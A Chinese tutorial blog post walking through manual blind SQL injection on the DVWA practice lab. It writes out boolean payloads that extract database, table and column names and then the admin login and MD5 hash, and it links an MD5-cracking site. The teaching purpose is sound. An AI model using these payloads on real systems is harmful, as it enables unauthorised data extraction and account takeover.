DVWA盲注详解

盲注详解

一、sql盲注的过程

1、判断是否存在注入,注入是字符型还是数字型

2、猜解当前数据库名–>猜数据库的长度–>猜数据库的名称

3、猜解数据库中的表名–>猜表的数量–>猜表的长度–>猜表的名称

4、猜解表中的字段名–>猜列的数量–>猜列的长度–>列的名称

5、猜解账号和密码

二、手动盲注过程

1、判断是否存在注入,注入是字符型还是数字型

1 and 1=1

在这里插入图片描述

1 and 1=2

在这里插入图片描述
说明存在字符型SQL注入

因为假设是字符型在后台sql查询应该是

select * from users where id='1 and 1=1'
select * from users where id='1 and 1=2'

这样就不会报错

但如果是数字型,那么查询语句就会是

select * from users where id=1 and 1=1
select * from users where id=1 and 1=2

此时就会对第二条语句进行数值判断返回错误,但实际上,并未返回错误。故没有进行数值判断,是字符型注入。

2、猜解当前数据库名:猜数据库的长度–>猜数据库的名称

(1)猜数据库名长度

database()函数返回当前数据库的名称
length()用于获取字符串长度

1' and length(databbase())=1#

在这里插入图片描述

1' and length(database())=2#

在这里插入图片描述

1' and length(database())=3#

在这里插入图片描述

1' and length(database())=4#

在这里插入图片描述
所以当前数据库名有4个字符长度

(2)猜数据库的名称

ascii()返回字符的ASCII码

substr(str,start,length)返回字符串从str的start开始往后截取length长度的字符

1' and ascii(substr(database(),1,1))>90#

在这里插入图片描述

1' and ascii(substr(database(),1,1))>100#

在这里插入图片描述

第一位字符的ascii码在90-100之间

1' and ascii(substr(database(),1,1))>95#

在这里插入图片描述

第一位字符的ascii码在95-100之间

1' and ascii(substr(database(),1,1))>97#

在这里插入图片描述

第一位字符的ascii码在97-100之间

1' and ascii(substr(database(),1,1))>98#

在这里插入图片描述

第一位字符的ascii码在98-100之间

1' and ascii(substr(database(),1,1))>99#

在这里插入图片描述

第一位字符的ascii码在99-100之间

1' and ascii(substr(database(),1,1))=100#

在这里插入图片描述

所以第一位字符的ascii码是100

以此类推找出所有

结果是

1' and ascii(substr(database(),1,1))=100#

在这里插入图片描述

1' and ascii(substr(database(),2,1))=118#

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-peO2exDt-1650270278743)(C:\Users\31207\AppData\Roaming\Typora\typora-user-images\image-20220414171429193.png)]

1' and ascii(substr(database(),3,1))=119#

在这里插入图片描述

1' and ascii(substr(database(),4,1))=97#

在这里插入图片描述

在这里插入图片描述

对照ASCII表,所以当前数据库名为dvwa

3、猜解数据库中的表名:猜表的数量–>猜表的名称的长度–>猜表的名称

information_schema.tables 可查看表的属性

字段:
table_name  表名称
table_schema 数据表所属的数据库名
(1)猜表的数量
1' and (select count(table_name) from information_schema.tables where table_schema='dvwa')=2#

在这里插入图片描述

1' and (select count(table_name) from information_schema.tables where table_schema='dvwa')=3#

在这里插入图片描述

所以表的数量是2

(2)猜表的名称的长度
limit 0,1 用于接收select查询的结果从第0行开始检索1行
substr(str,pos)返回从pos开始的所有字符
1' and length(substr((select table_name from information_schema.tables where table_schema='dvwa' limit 0,1),1))=9#

在这里插入图片描述

1' and length(substr((select table_name from information_schema.tables where table_schema='dvwa' limit 1,1),1))=5#

在这里插入图片描述

(3)猜表的名称

按照2.2的方法猜表的名称

1' and ascii(substr((select table_name from information_schema.tables where table_schema='dvwa' limit 0,1),1))=103#g

在这里插入图片描述

1' and ascii(substr((select table_name from information_schema.tables where table_schema='dvwa' limit 0,1),2))=117#u

在这里插入图片描述

1' and ascii(substr((select table_name from information_schema.tables where table_schema='dvwa' limit 0,1),3))=101#e

在这里插入图片描述

1' and ascii(substr((select table_name from information_schema.tables where table_schema='dvwa' limit 0,1),4))=115#s

在这里插入图片描述

1' and ascii(substr((select table_name from information_schema.tables where table_schema='dvwa' limit 0,1),5))=116#t

在这里插入图片描述

1' and ascii(substr((select table_name from information_schema.tables where table_schema='dvwa' limit 0,1),6))=98#b

在这里插入图片描述

1' and ascii(substr((select table_name from information_schema.tables where table_schema='dvwa' limit 0,1),7))=111#0

在这里插入图片描述

1' and ascii(substr((select table_name from information_schema.tables where table_schema='dvwa' limit 0,1),8))=111#0

在这里插入图片描述

1' and ascii(substr((select table_name from information_schema.tables where table_schema='dvwa' limit 0,1),9))=107#k

在这里插入图片描述

所以第一个表的表名为guestbook

1' and ascii(substr((select table_name from information_schema.tables where table_schema='dvwa' limit 1,1),1))=117#u

在这里插入图片描述

1' and ascii(substr((select table_name from information_schema.tables where table_schema='dvwa' limit 1,1),2))=115#s

在这里插入图片描述

1' and ascii(substr((select table_name from information_schema.tables where table_schema='dvwa' limit 1,1),3))=101#e

在这里插入图片描述

1' and ascii(substr((select table_name from information_schema.tables where table_schema='dvwa' limit 1,1),4))=114#r

1' and ascii(substr((select table_name from information_schema.tables where table_schema='dvwa' limit 1,1),5))=115#s

在这里插入图片描述

所以第二个表名是users

4、猜解表中的字段名–>猜列的数量–>猜列的长度–>列的名称

(1)猜列的数量

一个一个猜,这里省略

1' and (select count(column_name) from information_schema.columns where table_schema='dvwa' and table_name='users')=8 #

在这里插入图片描述

(2)猜列的名称的长度
1' and length(substr( ( select column_name from information_schema.columns where table_schema='dvwa' and table_name='users' limit 0,1 ) ,1 ) )=7#

在这里插入图片描述

第一列的列名长度为:7

1' and length(substr( ( select column_name from information_schema.columns where table_schema='dvwa' and table_name='users' limit 1,1 ) ,1) )=10#

在这里插入图片描述

第二的列名长度为:10

1' and length(substr( ( select column_name from information_schema.columns where table_schema='dvwa' and table_name='users' limit 2,1 ) ,1) )=9#

在这里插入图片描述

第三列的列名长度为:9

1' and length(substr( ( select column_name from information_schema.columns where table_schema='dvwa' and table_name='users' limit 3,1 ) ,1) )=4#

在这里插入图片描述

第四列的列名长度为:4

1' and length(substr( ( select column_name from information_schema.columns where table_schema='dvwa' and table_name='users' limit 4,1 ) ,1) )=8#

在这里插入图片描述

第五列的列名长度为:8

1' and length(substr( ( select column_name from information_schema.columns where table_schema='dvwa' and table_name='users' limit 5,1 ) ,1) )=6#

在这里插入图片描述

第六列的列名长度为:6

1' and length(substr( ( select column_name from information_schema.columns where table_schema='dvwa' and table_name='users' limit 6,1 ) ,1) )=10#

在这里插入图片描述

第七列的列名长度为:10

1' and length(substr( ( select column_name from information_schema.columns where table_schema='dvwa' and table_name='users' limit 7,1 ) ,1) )=12#

在这里插入图片描述

第八列的列名长度为:12

(3)猜列的名称

猜解过程省略,我们就演示猜解user的过程

1' and ascii(substr( ( select column_name from information_schema.columns where table_schema='dvwa' and table_name='users' limit 3,1 ) ,1,1) )=117# u

在这里插入图片描述

1' and ascii(substr( ( select column_name from information_schema.columns where table_schema='dvwa' and table_name='users' limit 3,1 ) ,2,1) )=115# s

在这里插入图片描述

1' and ascii(substr( ( select column_name from information_schema.columns where table_schema='dvwa' and table_name='users' limit 3,1 ) ,3,1) )=101# e

在这里插入图片描述

1' and ascii(substr( ( select column_name from information_schema.columns where table_schema='dvwa' and table_name='users' limit 3,1 ) ,4,1) )=114# r

在这里插入图片描述

类似的我们猜解password

1' and ascii(substr( ( select column_name from information_schema.columns where table_schema='dvwa' and table_name='users' limit 4,1 ) ,1,1) )=112# p

在这里插入图片描述

依此类推,这里就不展示了

我们可以推出

第三列为user,第四列为password

5、猜解账号和密码

user字段中第一个数据的长度
1’ and length(substr((select user from users limit 0,1),1))=5 #

在这里插入图片描述

第一个数据长度是5

user字段数据的名称(第一,第二…)
1’ and ascii(substr((select user from users limit 0,1),1,1))=97 #a

在这里插入图片描述

1’ and ascii(substr((select user from users limit 0,1),2,1))=100 #d

在这里插入图片描述

1’ and ascii(substr((select user from users limit 0,1),3,1))=109#m

在这里插入图片描述

第一个数据的第一个字母是a,…
以此类推 得到第一个数据是admin
然后查第二个数据

password字段中的数据个数

1’ and (select count(password) from users)=5 #

在这里插入图片描述

有5个数据(证明五个用户名对应了五个密码)

password字段中的数据长度

1’ and length(substr((select password from users limit 0,1),1))= 32#

在这里插入图片描述

第一个数据长度是32

用代码逐个猜解太麻烦

猜测是md5加密

方式①:用二分法依次猜解user/password字段中每组字段值的每个字符组成

方式②:利用日常积累经验猜测+运气,去碰撞完整字段值的全名
在这里插入图片描述

猜解验证:

1' and (select count(*) from users where user='admin')=1 #

在这里插入图片描述

显示成功 有个数据是admin

1’ and (select count(*) from users where user=‘admin’ and password=‘5f4dcc3b5aa765d61d8327deb882cf99’)=1 #

在这里插入图片描述

显示成功

方式①的猜解准确率和全面性较高,但是手工猜解花费的时间比较长;方式②猜解效率可能稍快一些,手工猜解的命中率较低,如果用户名or密码字典数据较少,可能会漏掉数据没有猜解出来,不确定性较多。实际猜解过程中,可以结合两种方法一起来尝试,互相补充。

进一步验证

将以上admin–password填写到前台登录界面的两个输入框中,尝试登录是否成功

附录:https://www.cmd5.com/ md5解密网站

在这里插入图片描述

破解的全部内容如下:

在这里插入图片描述

  • 15
    点赞
  • 43
    收藏
    觉得还不错? 一键收藏
  • 2
    评论
DVWA(Damn Vulnerable Web Application)是一个用于练习 Web 安全技术的漏洞应用程序。其中包含了多个不同类型的漏洞,包括 SQL 盲注SQL 盲注是一种利用 Web 应用程序中存在的 SQL 注入漏洞来获取数据库信息的攻击技术。在 DVWA 中,你可以通过以下步骤进行 SQL 盲注的高级练习: 1. 登录 DVWA:在浏览器中访问 DVWA,并使用提供的用户名和密码登录。 2. 寻找 SQL 注入点:在 DVWA 中,你需要找到存在 SQL 注入漏洞的输入点。这可以是登录表单、搜索框或其他用户输入的地方。 3. 确定数据库和表名:使用不正确的输入来尝试触发错误,并尝试从错误消息中获取有关数据库和表名的信息。这可以帮助你构建有效的注入语句。 4. 构造注入语句:根据你获取到的数据库和表名信息,构造有效的注入语句。在高级盲注中,你可能需要使用一些技巧来绕过过滤和限制。 5. 判断注入结果:通过观察应用程序的响应,判断你的注入语句是否成功执行。你可以观察页面内容、错误消息或应用程序的行为变化。 6. 提取数据:如果注入成功执行,你可以使用 UNION SELECT 或其他技术来提取数据库中的数据。通过逐渐调整注入语句,你可以获取更多敏感信息。 请注意,在进行 DVWA 或任何其他漏洞练习时,遵守法律和道德规范。仅在授权的环境中进行测试,不要攻击未经授权的系统。
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值